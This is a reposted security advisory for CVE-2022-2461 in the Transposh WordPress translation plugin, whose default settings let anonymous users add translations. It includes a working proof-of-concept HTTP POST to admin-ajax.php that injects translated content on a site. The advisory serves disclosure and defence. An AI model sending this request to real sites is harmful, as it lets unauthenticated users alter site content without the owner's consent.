Edit (edit.html?id=38891) Report (mailto:info@topcodersonline.com)

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022080007 (https://cxsecurity.com/ascii/WLB-2022080007)

Below is a copy:

```
RCE Security Advisory
https://www.rcesecurity.com


1. ADVISORY INFORMATION
=======================
Product:        Transposh WordPress Translation
Vendor URL:     https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/
Type:           Incorrect Authorization [CWE-863]
Date found:     2022-07-13
Date published: 2022-07-22
CVSSv3 Score:   7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
CVE:            CVE-2022-2461


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
Transposh WordPress Translation 1.0.8.1 and below


4. INTRODUCTION
===============
Transposh translation filter for WordPress offers a unique approach to blog
translation. It allows your blog to combine automatic translation with human
translation aided by your users with an easy to use in-context interface.

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
When installed Transposh comes with a set of pre-configured options, one of these
is the "Who can translate" setting under the "Settings" tab, which by default
allows "Anonymous" users to add translations via the plugin's "tp_translation"
ajax action.

Successful exploits can allow an unauthenticated attacker to add translations to
the WordPress site and thereby influence what is actually shown on the site.


6. PROOF OF CONCEPT
===================
The following Proof-of-Concept adds a new translation

POST /wp-admin/admin-ajax.php HTTP/2
Host: [host]
```

```
Content-Length: 75
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

action=tp_translation&ln0=en&sr0=rcesecurity.com&items=1&tk0=rcesecurity.com&tr0=rcesecurity.com



7. SOLUTION
===========
None. Remove the plugin to prevent exploitation.



8. REPORT TIMELINE
==================
2022-07-13: Discovery of the vulnerability
2022-07-13: CVE requested from WPScan (CNA)
2022-07-18: No response from WPScan
2022-07-18: CVE requested from Wordfence (CNA) instead
2022-07-18: Sent note to vendor
2022-07-18: Wordfence assigns CVE-2022-2461
2022-07-20: Since there are currently no plans to provide fixes at all:
2022-07-22: Public disclosure



9. REFERENCES
=============
https://github.com/MrTuxracer/advisories
https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/
```